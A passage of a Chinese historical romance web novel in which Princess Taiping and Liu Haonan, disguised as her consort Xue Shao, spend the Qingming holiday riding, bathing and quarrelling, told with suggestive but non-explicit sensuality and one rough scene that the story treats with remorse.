就在两人即将跃过两坊之间那道狭窄昏暗的夹巷时,太平忽然回首,眼眸在熹微的晨光中亮得惊人。她猛地用力,扯落了身上半幅早已松散的石榴红裙裾,迅捷地将其缠绕在巷口一处不起眼的檐角兽头上,打了个醒目的结。“留个念想!” 她压低声音,语气里带着恶作剧得逞般的快意,以及属于帝国公主那种天不怕地不怕的张扬,“明日,全长安城都会知道,薛驸马与夫人情深意笃,携手登高,‘观星’至天明——” 她话音未落,身旁玄色的身影已然动了。刘皓南的手臂骤然收紧,足尖在乐坊尚未熄灭的灯笼顶盖上借力一点,身形如夜枭折转,带着她飘然掠过坊墙,无声无息地落进了公主府西墙外那片茂密的槐树林中。几乎就在他们落地的瞬间,一队巡夜金吾卫的灯笼光堪堪从墙外的街道上匀速掠过。 两人屏息,紧紧卡在庭院角落一处繁茂的紫藤花架与白色粉墙形成的狭窄缝隙间。花叶的阴影将他们完全覆盖。太平几乎整个人贴在刘皓南怀里,她能清晰地听到他胸腔里传来的、尚未完全平复的急促心跳。她忽然起了玩心,将手腕上残存的一颗金铃轻轻按在了他凸起的锁骨窝里,仰起脸,用气声在他耳边低语,带着笑:“薛绍,你听听……你这心跳声,扑通扑通的,比刚才追过去的金吾卫脚步声还响呢。” 她顿了顿,指尖调皮地刮了刮他的锁骨,“驸马爷,您这‘规矩’,学得似乎还不到家啊,心跳声都叛变了。” …… 浴汤蒸腾起袅袅白雾,氤氲了镜面。太平趴在宽大的浴桶边缘,下巴搁在交叠的手臂上,看着屏风后刘皓南沉默地梳洗披散的长发。水面上漂浮着鲜红的玫瑰花瓣,她伸出指尖,捻起一片,无意识地揉搓着,胭脂色的汁液在她指尖和水中洇开。“《乙巳占》上说,今夜轩辕十四星格外明亮,主兵戈、肃杀之气。” 她忽然开口,声音因水汽而显得有些懒洋洋的,却依旧不忘展示她“涉猎广泛”,“不过,本宫瞧着,薛郎背上那些旧伤疤排列的样子,倒比袁天罡的星盘推演还要准些,颗颗都像是落在要命的位置上。” 她这话说得随意,却让屏风后的刘皓南动作几不可察地一顿。那些伤疤,大多是他身为刘皓南、作为北汉皇孙和辽国国师时留下的,而在此刻“薛绍”的身份下,显得格外突兀。 当她被擦拭干净,抱上铺着柔软锦褥的床榻时,倦意已如潮水般涌上。然而,就在陷入锦褥的前一刻,她忽然伸手,抽走了刘皓南挽发的一根素银簪子。银簪在她手中转了个圈,尖端毫不犹豫地划向床头摊开的那卷《西域舆图》。“嗤啦”一声轻响,羊皮地图上,代表安西都护府的位置,被划下了一道清晰的深痕。“明日,” 她丢开银簪,语声模糊,带着浓浓的睡意,却又异常清晰地说,“给朔儿编那个九连环的时候,记得添个西域那边传过来的小机关……要那种,六岁孩童能自己解开的才行。若是解不开……” 她翻了个身,将脸埋进带着阳光气息的软枕里,声音渐低,却带着一丝不容置疑的骄傲,“……可就不配当薛绍的儿子。” 晨光终于透过茜纱窗,浸满了内室。刘皓南发现,那根银簪并未被丢弃,而是端端正正地插在了《西域舆图》上,安西都护府所在的位置。而一旁妆台上,那本她常翻的《推背图》残页,不知何时被打开,在某一页的空白处,用她未洗净的、带着玫瑰香的胭脂,添了几行簪花小楷的新批注: “星坠玉门关,铃动朱雀门;胡姬解甲夜,春衫拭剑痕。” 当刘皓南终于能揽着她一同躺下,陷入那柔软得几乎能将人吞噬的锦褥时,他的手仍下意识地护在她后腰的位置,形成一个保护性、甚至略带防御意味的姿态。太平的指尖还无意识地搭在他的颈侧,随着他平稳有力的脉搏微微起伏。就在她即将彻底坠入深眠的边缘,一句含混的、梦呓般的低喃逸出唇畔:“薛绍……若今夜,不是开始,而是……清明休沐的最后一晚……” 刘皓南的心,像是被那未尽的、带着不确定和某种深重疲惫的尾音轻轻刺了一下。这疲惫,或许来自“太平公主”身份的束缚,或许来自对他近来“冷淡”的不满,或许……只是这具年轻身体在彻夜放纵后的自然反应。但他听出了那话语深处一丝几不可察的失落。是因为他之前的克制吗?因为他这个“驸马”未能满足她寻求的“刺激”?一种混合着愧疚与怜惜的情绪涌上心头。他忽然俯身,吻住了她微启的、还残留着些许湿润的唇。这个吻不同于此前的任何一次,它带着浴后玫瑰花瓣的清淡湿气,以及彻夜未眠的深深疲惫,没有侵略,没有试探,只有一种近乎叹息的温柔,轻柔得像是在安抚一只收拢了所有利爪、终于显露出疲惫与依赖的雀鸟。他的掌心抚过她光滑的肩背,在触及胡姬舞衣细细金链勒出的那几道浅红色压痕时,动作不由自主地又放轻、放缓了三分,带着不易察觉的怜惜与歉疚。他知道,自己近来为了尽快适应“薛绍”的身份,熟悉大唐的律法、驸马的规矩、兵部的公务,确实有些忽略了她。而她,用这样惊险又热烈的方式,提醒着他的“失职”。也罢,既然是在这偷来的幻境时光里,既然她想要……那便尽力补偿吧。他心中暗叹,将怀中人搂得更紧了些。 窗外檐下的铁马,被拂晓时分渐起的晨风惊动,发出零零星星、清脆而寂寥的叮当声。在这细微的金属鸣响里,她无意识地攥紧了他半幅微湿的衣袖,呼吸终于变得绵长安稳,沉沉睡去。 51. 偷得浮生几日闲 清明休沐第三日·乐游原 清明第三日的乐游原,恰是春色最浓时。原上野樱并非宫苑中精心修剪的垂枝品种,而是恣意生长的山樱,花开如云,绵延成片,远望如紫霞织就的幔帐,在春日和煦的日光下流淌着朦胧的光晕。微风过处,浅绯、粉白的花瓣便簌簌飘落,宛若一场温柔而盛大的雪。空气里弥漫着泥土苏醒的腥气、青草折断的清新,以及野花混杂的甜香,与公主府内处处熏染的沉水、瑞龙脑等宫廷御香截然不同,是一种粗糙而蓬勃的生命气息。 刘皓南为今日出游,特意选了匹西域新贡的枣红骏马。马身矫健,毛色油亮如缎,最为特别的,是那副鞍鞯。皮革黝黑发亮,边缘以暗金色丝线密绣着繁复的卷草蔓花纹,而在鞍桥两侧不易察觉处,各嵌着一枚精钢打造的狼首扣环。日光偏移时,那狼首双目处镶嵌的某种青金色异石,便会流转出冷冽而内敛的光泽,绝非中原制式。 太平被他扶上马背,与他共乘一骑。她今日未着繁复宫装,只一袭便于行动的绛红色胡服式裙裾,长发以金钗玉簪简单绾起,额间贴了花钿,颊边扫了淡淡的斜红,唇上一点“石榴娇”色,明艳夺目,与这漫山遍野的野樱竟有几分奇异的和谐。她足尖轻巧地勾着银镫,感受着身下马匹蓄势待发的力量,以及身后之人胸膛传来的温热与沉稳心跳,多日来因他“勤于王事”而生的那点幽怨,似乎也被这原野的风吹散了些。 “薛郎这马镫的系法,” 她微微侧首,气息拂过他下颌,目光却落在自己足尖与马镫相接处那特殊的、交叉收紧的皮绳结上,“倒让我想起……从前在宫中藏书阁翻到的杂记,说突厥人驯服野马时,最爱用这种‘连环扣’,越是颠扑,系得越紧,以防坠马。” 她说着,忽然手腕一抖,不知怎的竟从刘皓南手中“借”过了些许缰绳的力道,猛地一拽!枣红马长嘶一声,马头险险擦过一树低垂的樱枝,哗啦啦——惊落的花瓣如雨,瞬间扑了刘皓南满身满襟,有几片甚至沾在了他微抿的唇上。 刘皓南似乎低低笑了一声,那笑意很短,几乎瞬间就融在了风里。他并未去拂拭花瓣,反而手臂一收,将她更紧地箍在怀中,另一只手如电探出,精准地扣住了她方才“作乱”扯缰的手腕。那力道、那角度,竟与那夜在望楼高处,他擒住她探向他衣襟的手时,如出一辙。温热的掌心贴着微凉的肌肤,带着不容置疑的掌控。 “殿下若想试‘鞍马术’,” 他低沉的声音响在她耳畔,因着马匹的轻快步和风声,带着些微的震颤,却字字清晰,“光在平地上跑跑,未免无趣。臣倒知道,北坡那边有处草甸,平坦开阔如毡,坡度也和缓,最适合……放缰驰骋。” 最后几个字,他几乎是贴着她耳廓说的,气息灼热,意有所指。 太平耳根一热,心跳莫名快了两拍,却强作镇定,只轻哼一声:“是吗?那本宫倒要见识见识,薛驸马口中的‘驰骋’,是何等光景。” 枣红马通晓人意,不待主人催促,已朝着北坡方向小跑起来,越跑越快,最后化为一道枣红色的流影,融入漫天飞樱与无垠的绿意之中。风中隐约传来太平压抑的低呼与清越的笑声,以及刘皓南偶尔几句简短的、指导她调整姿势或重心的话语。 …… 约莫一个多时辰后。 当二人一骑的身影再次出现在林径尽头,缓缓朝着坡下等候的仆从队伍行来时,景象已与出发时大不相同。 太平整个人几乎被裹在刘皓南那件宽大的玄色披风里,披风自头顶罩下,只在她倚靠的颈侧微微敞开一道缝隙,露出小半张绯红的脸颊和紧闭的眼睫。她似乎力竭,软软地靠在刘皓南胸前,一动不动。唯一暴露在外的,是一截无力垂落在马腹侧的雪白足踝,未着罗袜,足背肌肤在春光下泛着玉质般的光泽,只是那上面……似乎印着几点可疑的、像是被粗糙织物或什么反复摩擦留下的淡红痕迹。她原本整齐的绛红裙裾,此刻边缘凌乱,一角甚至与刘皓南腰间束着的青玉革带缠绕在一起,随着马背缓慢的颠簸,那裙裾与革带便一荡一荡,纠缠不休。 更引人注目的是她的发髻。出发时精巧绾起的发式早已松散,几缕乌黑的发丝被汗水黏在鬓边和颈侧。而那支固发的赤金点翠凤钗,此刻竟歪斜地、深深地插进了刘皓南肩头玄色胡服上——正是那狼首纹饰扣环的缝隙之中!金钗的尾端流苏随着马步轻颤,与狼首冷硬的线条形成奇异的对比,仿佛经历过一番激烈的“搏斗”才卡在此处。刘皓南的中衣领口微微散开,露出一小片肌肤,而那上面,赫然残留着一点鲜艳的胭脂痕——正是太平今晨点在唇上的“石榴娇”色,此刻已有些模糊晕染,却依旧刺目。 候在坡下凉亭边的侍从们见状,立刻齐刷刷垂下头,眼观鼻鼻观心,不敢多看。年长的李尚宫面色平静如常,只目光极快地扫过太平从披风缝隙中露出的、紧紧攥着刘皓南前襟衣料的手指——那纤白的指节用力到泛白,指甲缝隙里,似乎还残留着些许草叶碾碎后的嫩绿色汁液。随即,她的视线又极轻地掠过刘皓南的后颈,在那被衣领半掩的肌肤上,三道新鲜的红痕清晰可见,微微肿起,显然是被人用指甲抓挠所致。 李尚宫眼中闪过一丝了然,面上却不露分毫,只微微抬手,示意身后捧着温水、巾帕、香露等物的小宫婢们上前侍候。 马至近前,刘皓南勒住缰绳,率先利落下马。他落地时身形稳健,只是玄色的衣摆下缘,沾染了不少尘土和几片揉碎的海棠花瓣——乐游原上,这个时节海棠并未盛开,这花瓣颜色形态,倒像是别苑内精心培育的品种。 他转身,伸手去扶马背上的太平。太平试着移动,双腿却是一软,若非刘皓南眼疾手快一把揽住她的腰肢,她几乎要直接跪倒在地。刘皓南手臂用力,顺势将她打横抱起。这个动作让原本裹紧的披风散开了一角,虽然只是电光石火的一瞬,但近前的李尚宫还是清楚地看到,太平腰间那条原本系着精致“同心结”珍珠流苏的裙带,此刻那象征好合美满的“同心结”已被扯得松散变形,几缕珍珠流苏更是断裂开来,莹白的珠子零星挂在断裂的丝线上,摇摇欲坠——那正是出行前,她亲手为公主系上的。 “备温泉。” 刘皓南的声音传来,带着一种前所未有的低哑,仿佛被砂纸磨过,又浸满了某种餍足的疲惫。他不再多言,抱着将脸埋在他肩颈处、似乎羞于见人的太平,径自朝着原上属于公主府的别苑方向走去。 经过低头侍立的侍女身旁时,有胆大些的悄悄抬起眼缝,瞥见驸马爷玄色衣摆上,除了泥土和海棠花瓣,似乎还沾着些草屑与细微的沙砾。而公主从披风下露出的那一小截脚踝上方,那几点淡红痕迹旁,又多了一枚颜色更深的、宛如花瓣般的印记,不,更像是……被人反复啄吻啃噬留下的痕迹。最令人心惊的是,公主一侧莹润的耳垂上,竟紧紧咬合着一只造型奇异的耳珰!那并非宫中常见的明珠玉环,而是一只小巧却狰狞的银狼!银狼线条流畅,双目以细小的墨色宝石点缀,獠牙微露,正死死“咬”住公主的耳垂,在春日阳光下闪烁着冰冷而野性的光芒。随着刘皓南稳健的步伐,那银狼耳珰也微微晃动,折射出刺目的光。 行至别苑廊下,一阵裹挟着落英的春风忽然拂过,调皮地掀起了玄色披风的下摆。这一次,不止李尚宫,连旁边几个侍女也看得分明——太平公主雪白如玉的后腰处,赫然印着几道深红色的指痕!那指印的轮廓清晰,力道深重,绝非温存爱抚所能留下,倒更像是战场上,骑士为了在颠簸的马背上固定身形,或是擒拿对手时,用力抓握皮革、甲胄留下的淤痕! 李尚宫瞳孔几不可察地一缩,脚下步伐加快,几乎是抢步上前,极为自然地为二人重新系紧松开的披风带子,动作利落恭敬。在系带时,她的指尖“不经意”擦过刘皓南后背的衣料——触手竟是一片惊人的湿冷!那玄色的外袍,脊背处几乎被汗水浸透,紧紧贴在身上。这绝不仅是春日骑马能带来的热度。 别苑·温泉 乐游原别苑的温泉引自骊山,池畔以天然青石垒砌,热气氤氲,四周植有湘妃竹,形成一道天然的翠色屏障。李尚宫正亲自指点着侍女调试新进贡的玫瑰香露,斟酌着加入温泉的比例,以求达到最佳的舒缓解乏之效。 忽闻环佩轻响,只见太平公主仅披着一袭月白色鲛绡纱衣,赤足走了过来。纱衣极薄,被温热的湿气一蒸,更是几乎透明,紧紧贴在身上,勾勒出曼妙起伏的曲线。李尚宫目光一扫,便落在公主腰际——那本该光滑无痕的肌肤上,赫然横着几道淡红色的、略显粗糙的平行痕迹,边缘还有些许细微的脱皮。这分明是长时间紧贴马鞍,被鞍鞯皮革反复摩擦所致!尤其那狼首扣环对应之处,痕迹似乎更深一些。 老尚宫眸光微动,瞬间明白了晨间那场“鞍马术”的激烈程度。她面上不动声色,只挥手示意正在忙碌的侍女们:“殿下要试安西都护府新贡的舒筋活络油,尔等将香箩、玉杵、药油备好,便退至竹帘外候着,非唤不得入内。” 侍女们屏息敛目,迅速将一应物件在池边青玉案上摆放整齐,而后鱼贯退出,只留李尚宫一人在竹帘边侍立。 不多时,刘皓南也换了身轻便的素色中衣,外罩一件宽松的黛蓝色长袍,走了进来。他目光扫过氤氲的池水,又落在池边闭目假寐的太平身上,对李尚宫略一颔首:“有劳尚宫,此处我自可照料。” 刘皓南摒退众人走近时,李尚宫借着整理屏风的间隙,见他屈膝蹲在池边,掌心蘸着药油正要为太平揉按小腿。不料太平突然拽住他手腕将人拉入池中,黛蓝外袍与泥金披帛纠缠着挂在紫檀木屏风上,如水墨画中交颈的鸳鸯。 初时竹帘外只闻水波轻漾,夹杂着刘皓南沉稳的指导声:"承山穴需用掌根按压......"忽然一声玉簪滚落石阶的脆响,接着是太平带着笑音的嗔怪:"薛郎这手法,倒像突厥人驯野马——专挑酸软处下手。" 水声渐急,似锦鲤尾鳍拍打荷塘。李尚宫耳尖微动,听见衣料浮沉声混着断续低喘,如春风掠过柳梢时忽密忽疏。有年少宫婢好奇探头,被她用团扇轻敲后颈:"去取些新浴盐来。"自己却借着查验香箩的机会,移到更近处的竹帘缝隙。 午后的日头渐渐西斜,老尚宫听着内里动静从最初的推拒转为缠绵,又几度复起波澜,不觉已站得腿脚酸麻。当她第三次更换支撑重心的腿时,听见太平带着哭音的讨饶混着水声传来:"薛绍......你莫不是要把这十多日欠的都讨回来......" 李尚宫依旧垂眸静立,仿佛一尊入定的佛。只是那握着香箩的手指,指尖微微泛白。直到估摸着里面的人大约需要侍候了,她才几不可闻地舒了口气,示意身后的侍女们准备浴巾衣物,自己则垂首敛目,率先捧着干燥柔软的浴巾,轻轻掀开了竹帘一角,示意侍女重新备好干燥柔软的浴巾、寝衣等物,自己亲自捧着,垂首敛目,走入竹帘之内。 氤氲水汽稍散,只见刘皓南正将太平从温泉中抱出。太平整个人如同没了骨头,软软地偎在他怀中,身上裹着的是刘皓南那件早已湿透的黛蓝色外袍,袍角滴滴答答往下淌着水。她只露出一截光裸的小腿和双足,那白玉般的脚踝上,此刻赫然印着几道交错的、深红色的指痕!痕迹新鲜,显然是被人用手紧紧攥握过,甚至可能不止一次。水珠顺着她纤细的脚踝滑落,滴在池边干燥的青石地砖上,洇开一小片深色的水迹。 “取玫瑰膏来。” 刘皓南吩咐,他的声音带着一种前所未有的、饱食餍足后的低沉与沙哑,还有一种事后的慵懒。当他从李尚宫手中接过盛着玫瑰膏的玉盒时,微微抬手,那原本被湿发遮掩的颈侧便露了出来——上面赫然添了几道新鲜的抓痕,血丝微渗,那丹蔻的颜色,正是太平惯用的、最鲜艳的正红色。 而更触目惊心的,是当刘皓南将太平稍稍侧放,准备为她涂抹药膏时,那湿透的外袍滑开,露出太平后腰及以下的大片肌肤——原本雪白的肌肤上,布满了大片暧昧的绯红,有些地方颜色深重,像是被粗糙的织物(或许是那鞍鞯?)反复摩擦所致,有些则颜色略浅,形状不规则,更像是……被人以唇齿或胡茬反复碾磨亲吻留下的痕迹。晨间驰骋时鞍鞯留下的淡红平行印记,与这些新鲜热烈、深浅不一的红痕叠加在一起,宛如雪原上绽开了层层叠叠、绚烂到糜艳的云霞。 李尚宫极快地垂下眼,恭敬退至一旁。 申时末·寝殿 申时末,李尚宫亲自捧了安神定气的参茶,送至寝殿。殿内弥漫着淡淡的、混合了玫瑰膏与某种难以言喻气息的味道。茜纱窗半掩,暮色透入,光线昏黄。 太平正伏在临窗的软榻上小憩。她只松松披着那件月白鲛绡纱衣,衣襟散乱,露出大片雪背和纤细的腰肢。纱衣下摆散开,隐约可见腰窝处,赫然印着几处深红色的、宛如指印的淤痕!那指印轮廓清晰,力道深重,不似温存爱抚,倒更像是北疆战士在战场上,为了稳住身形或是发力时,紧紧攥握弓弩或缰绳留下的印记! 李尚宫心中暗叹,轻手轻脚上前,想将滑落一半的锦衾为公主重新盖好。然而,当她掀开锦衾一角时,目光一凝——榻沿柔软的地衣上,扔着一条断裂的珍珠腰链。正是今晨出行前,她亲手为公主系上的、象征“永结同心”的那条!此刻,珍珠散落了几颗,丝线从中间被生生扯断,断口处毛糙不堪,显然是被极大的力道暴力扯坏的。 “驸马爷……也太过不知轻重了。” 李尚宫几乎无声地喃喃自语,指尖抚过那毛糙的断口,眼中闪过一丝复杂。既是担忧公主凤体,又似有几分了然与无奈。 窗外庭院中,隐约传来刘皓南低声吩咐马夫备马的声音,似乎明日还有安排。紧接着,是太平带着浓浓睡意与鼻音的咕哝,从锦衾间模糊传来:“薛绍……明日……若再敢像前些时日那般……冷着我……” 后半句含糊下去,化作一声不满的轻哼,似嗔似怨,又带着筋疲力尽后的娇慵。 暮色愈发深沉,透过茜纱窗,在光洁的地砖上投下温暖的光斑。李尚宫正欲悄然退出,目光无意间掠过妆台上的那面青铜菱花镜。镜中,恰好映出太平沉睡的侧颜。 只见她唇瓣红肿不堪,色泽嫣红如浸透了晨露的玫瑰,微微嘟着,似乎有些委屈。眼尾的绯红一直蔓延到鬓角,那是泪水反复冲刷、又被亲吻过的痕迹。而铺散在锦枕上的如云青丝间,一点异样的冷光闪烁了一下——正是那只造型狰狞的银狼耳珰!它依旧紧紧咬合在公主柔嫩的耳垂上,随着她无意识的翻身动作,在渐浓的暮色里,闪烁着冰冷而执拗的幽光,与这满室慵懒暖昧的气息,格格不入,却又奇异地融合。 李尚宫静静地看了一瞬,终是无声地叹了口气,悄步退出了寝殿,轻轻合上了门扉。门外廊下,晚风拂过庭中樱树,再次送来漫天花雨,温柔地覆盖了白日里的一切痕迹。 清明休沐最后一日·暮色海棠林 清明假期的最后一日,暮色如融化的金液,缓慢地浸染着乐游原西府的海棠林。这片林子并非精心打理的名贵品种,而是多年生野海棠,枝桠恣意横斜,花期将尽,浅绯色的花瓣在夕照中呈现出一种近乎透明的、脆弱的胭脂色,风过时,便簌簌落下,在地上铺了薄薄一层残红。 太平捻着一枝垂到眼前的海棠,指尖稍稍用力,将那将谢未谢的柔软花瓣揉碎,胭脂色的汁液立刻染上她的指尖,带着些微凉意和草木特有的清苦气。她没有看身侧的刘皓南,目光似乎落在远处长安城渐渐亮起的星星点点灯火上,声音也像是从很远的地方飘来,带着一种梦境将醒的恍惚: “薛郎,那日在胡姬酒肆,我学那踏鹊枝的旋身舞步时,转得急了,眼前发晕……” 她顿了顿,指尖无意识地在粗糙的树干上划过,留下浅浅一道红痕,“不知怎的,忽然想起西域商队传唱的一句狼王谚语……”她忽然侧过头,眼眸在暮色中亮得惊人,猝不及防地,张口轻轻衔住了刘皓南束发玉冠垂下的一缕绯色缨穗。那缨穗本是柔软丝线编织,末端缀着细小的珍珠,此刻被她用齿尖轻轻咬住,微微一扯——力道不大,却足以让他束发的玉冠微微一松,几缕墨发自鬓边垂落,更迫得他顺着那细微的拉力偏过头来,与她四目相对。 乐游原西府的海棠林浸在流金般的余晖里。太平捻着垂枝上将谢的花瓣,胭脂色汁液染上指尖:"我学踏鹊枝舞步时,忽然想起西域商队传说的狼王谚语——草原狼王求偶时,会咬住母狼后颈......直到对方露出肚皮。"声音压得极低,清晰得像淬了冰又裹了蜜的细针,一字一字,带着某种孤注一掷的挑衅与探寻,钻进他耳中。缨穗的丝线在她齿间绷紧,那颗小小的珍珠抵着她的唇瓣,冰凉圆润。这个动作异常大胆,也更加逾矩——这不再是触碰一件无关紧要的饰物,而是直接触及了他身为世家子弟、朝廷驸马的庄重仪容。扯动缨穗,便扯动了他的玉冠,也仿佛扯动了他那名为“薛绍”的、严谨守礼的表象之下,某些紧绷欲断的东西。暮色中,她眼底跳动着混合了不安、试探与破釜沉舟般光芒的火苗,仿佛在问:你这头披着华美衣冠的狼,敢不敢撕开这层皮,露出真容? 话音未落,一阵天旋地转。刘皓南猛地擒住她那只染了花汁的手腕,力道之大,几乎让她以为腕骨要碎裂,随即她被狠狠掼在身后粗糙的海棠树干上,背脊撞得生疼,震得头顶花枝乱颤,迷离的花瓣如急雨般纷纷落下,模糊了彼此的视线。 太平在纷乱迷离的花雨中,清晰地看见刘皓南的目光在那一瞬间骤然变了。 那目光急剧地凝聚、收缩,仿佛所有的光与情绪都被吸入深不见底的瞳仁,只剩下两道锐利到令人心悸的寒芒,死死锁定在她脸上。 那像月夜沙丘上,经过漫长潜伏终于等到猎物踏入致命范围的野狼,在发起扑击前最后一霎的静止与评估——冰冷,精准,带着撕碎一切的凶悍。太平甚至能从他骤然绷紧的下颌线条,和颈侧突起的青筋,感受到那股被瞬间引爆的、近乎实质的暴戾。她似乎还窥见了一丝飞速闪过的、同样激烈的东西——那是意识到“假期”将尽、伪装难以为继,又被对方以这种方式赤裸揭破时,涌起的近乎绝望的疯狂。 这目光只存在了极短的一瞬,短得仿佛只是她的错觉。但太平知道,不是错觉。她的话语,她扯动缨穗的动作,像一把淬毒的钥匙,打开了一扇她或许并未完全准备好面对的门。 她甚至没来得及惊呼出声,只听得“啪”一声脆响,腰间玉带扣应声迸裂!力道之猛,甚至带断了旁边一根细小的海棠枝桠,发出“咔嚓”一声轻响,惊起林间栖息的宿鸟,扑棱棱飞向昏暗的天空。 “薛绍!” 太平挣扎起来,头皮一紧,发间金簪勾散了他束发的玉冠,墨黑的长发瞬间披散下来,遮住了他半边眉骨,在暮色中更添几分凌厉的阴影。她喘着气,不知是疼还是怒,抑或是某种同样被点燃的、不顾一切的火焰,话语像淬毒的刀子,直直刺向他最隐秘的、属于“刘皓南”的过往:“你去年在安西都护府‘历练’时……是不是也这般对待那些献舞的胡姬?用你从契丹人那里学来的手段?” “轰——” 这句话,如同一点火星,溅入了本就翻滚着压抑、不甘、对即将结束的“假期”以及即将回归的“身份”感到无比厌烦的滚油之中。刘皓南眼底最后一丝属于“薛绍”的克制与温文彻底崩碎。他喉间发出一声含糊的、近乎野兽般的低吼,猛地俯身,不是吻,而是近乎凶狠地啃咬上她脆弱的颈侧,力道大得让她瞬间疼出了眼泪,仿佛戈壁上最暴烈的风,卷着砂石碾过柔嫩的肌肤。 太平被迫仰起头,视线穿过刘皓南披散的黑发,看向上方不断飘落的海棠花瓣。那些柔软的、失去生命的残红,落在她的脸上、他的发间,带着一种凄艳的、末日狂欢般的美。她忽然低低地笑了起来,笑声有些破碎,带着喘:“花落得太急了……薛绍,你看,像不像……像不像揽月轩那次,我不小心打翻的那盒‘胭脂醉’?也是这般,泼洒得到处都是,收拾都收拾不起来……” 她感觉到身上人骤然僵住,所有的动作,包括那凶狠的啃咬,都停了下来。揽月轩,那是他“成为”薛绍后,第一个与她共度的、真正意义上的春宵,彼时他尚带着初入樊笼的疏离与谨慎,而她却已开始兴致勃勃地扮演起妻子的角色。那夜她也曾失手打翻胭脂,染红了他的袖口。 残阳的最后一丝余晖沉入远山,林间光线骤然昏暗。就在这明暗交替的刹那,太平忽然仰头,对准刘皓南肌肉紧绷的肩头,狠狠咬了下去!不是调情,不是嬉闹,而是带着某种发泄般的狠劲,牙齿深深陷入皮肉,铁锈般的血腥气瞬间混着海棠残存的甜香,涌满了她的口腔。 “呃——!” 刘皓南喉间滚出一声压抑的、痛苦的闷哼,身体剧震,钳制她的力道有瞬间的松动。 就在这时,远处长安城的方向,传来了清晰的、报亥时的更鼓声。那声音穿透暮色,冰冷而规整,像是一盆冰水,兜头浇下。 刘皓南猛地一颤,像是突然从一场癫狂的梦魇中惊醒。他眼底翻涌的暴戾、痛楚、迷茫与沉溺,如同潮水般迅速退去,只剩下冰冷的清醒,以及清醒过后,看着一片狼藉的、更深的空洞与自厌。他几乎是立刻松开了对她的钳制,动作甚至带了一丝仓皇。 他先是迅速扯下自己那件早已在撕扯中残破不堪的玄色外袍,不由分说地将几乎衣不蔽体的太平紧紧裹住,从脖颈到脚踝,裹得严严实实,只露出一张苍白失神、沾着花瓣和泪痕的脸。他的指尖在颤抖,系着那根本无法系拢的衣带时,几次都无法打成一个完整的结。 然后,他的目光落在地上。太平那双精美的金缕鞋,不知何时掉落,鞋面上缀着的珍珠串断裂开来,莹润的珠子滚了一地,混在泥土和落花之中。刘皓南竟猛地单膝跪了下去,不顾满地泥泞与残花,伸出双手,近乎仓皇地、一粒一粒地去捡拾那些散落的珍珠。他捡得极其专注,连那些沾了污泥的也不放过,用自己尚且干净的袖口去擦拭,仿佛那是无比珍贵的、失而复得的宝物。 “殿下……” 他终于开口,声音沙哑粗粝得可怕,像是被砂石反复磨过,又像是压抑了太久终于冲破喉咙的呜咽。他跪行到她脚边,用自己另一只相对干净的袖口,去蘸不远处石潭里冰冷的活水,然后颤抖着,极其轻柔地去擦拭她颈侧被自己啃咬出的、已经渗出血珠的伤痕。那动作小心翼翼,轻得像是在拂去绝世瓷器上最微小的尘埃,与方才的凶狠暴戾判若两人。 他不敢看她的眼睛,只是近乎徒劳地擦拭着,仿佛这样就能抹去一切。然后,他伸出双臂,将裹在宽大外袍里、显得格外娇小脆弱的她,打横抱了起来。海棠枝桠勾破的绛红色纱质裙裾残片,拖曳在地,又随着他的步伐,在渐起的夜风里飘荡,像一面破碎的、褪色的旗帜。 “快看!是驸马!驸马抱着公主往寝殿方向去了!” 远处月洞门下,一个小宫女踮着脚尖,压低声音惊呼。暮色中,只见刘皓南玄色胡服的后背布料几乎完全撕裂,露出肌肉线条流畅的背脊,以及上面几道新鲜的、微微渗血的抓痕。而太平被他紧紧抱在怀中,脸埋在他颈侧,看不清神色,只有一只雪白的足踝露在外面,足尖上悬着的小小金铃,随着刘皓南沉重而迅疾的步伐,叮铃、叮铃……发出细碎而寂寥的声响,一路延伸向灯火渐起的寝殿方向。 年长的李尚宫没有像小宫女那般张望,她只是蹙着眉,目光沉沉地盯着地面——青石小径上,散落着被碾碎的海棠浆果,混合着撕碎的玉带残片和珍珠,在暮色中洇开一片片暗红色的、黏腻的污迹,像是某种无声的、激烈的证物。“驸马爷……” 她捏紧了袖中那枚掌管库房重地的金钥匙,指节泛白,最终只是几不可闻地叹了口气,声音里带着深深的疲惫与不赞同,“……也太不知轻重,纵着公主……在这等地方……” 后面的话,消散在渐起的夜风里。 寝殿内,琉璃宫灯次第亮起,驱散了暮色,也照亮了一室暖融,却驱不散某些无形的东西。白玉砌成的浴池边,刘皓南沉默地单膝跪着,用浸了温水和玫瑰香露的软巾,极为小心地为太平濯足。氤氲的热气混合着疗伤药膏清苦的气息,弥漫在空气中。他握住她纤细脚踝的动作温柔至极,仿佛那是易碎的琉璃。然而,当他的目光落在她脚踝内侧一道新鲜渗血的、被草叶或石子划出的红痕时,动作骤然停顿,呼吸也随之一窒。 太平一直沉默着,任由他摆布,此刻却忽然倾身向前。她身上只松松披了件寝衣,带着湿意的长发垂落,扫过他的手臂。她伸出指尖,蘸了一点旁边玉盒中清凉的药膏,然后,轻轻抹过他肩头那个新鲜而清晰的、属于她的齿痕上。她的动作很慢,指尖冰凉,目光却平静得近乎空洞。 “薛绍,” 她开口,声音有些沙哑,语气却异常平淡,仿佛在讨论天气或诗文,“你读过《礼记》吧?里面说……‘夫妇之道,如调琴瑟’。” 她抬起眼,看向他低垂的、紧抿的唇,和那微微颤抖的、沾湿的长睫,“琴瑟和鸣,固然是好。可若弦绷得太紧,调得太急……是会断的。” 窗外,负责守夜的小宫女偷偷扒着窗棂缝隙,只看见驸马爷宽阔的背影猛地一震,随即像是承受不住某种重量般,突然将脸深深埋进了公主摊开的掌心之中。他的肩膀剧烈地颤抖起来,如同一张被拉到极限、几乎要崩断的弓弦,却没有任何声音发出。 而侍立在屏风外的李尚宫,目光却落在被匆忙扔出屏风、丢弃在地上的那件破碎的兜衣上——那是太平贴身的衣物,此刻已被撕扯得不成样子。然而,最引人注目的是,兜衣上原本绣着的、象征好合美满的“同心结”金线,此刻正死死地、凌乱地缠绕着一枚小小的、造型狰狞的狼首银扣!那银扣在烛火映照下,闪烁着冰冷而执拗的幽光,与那象征柔顺缠绵的“同心结”纠缠在一起,形成一种无比刺眼又无比诡异的画面。李尚宫的眉头皱得更紧了,她无声地移开目光,心中那声叹息,愈发沉重。 回程·春明门外的交锋 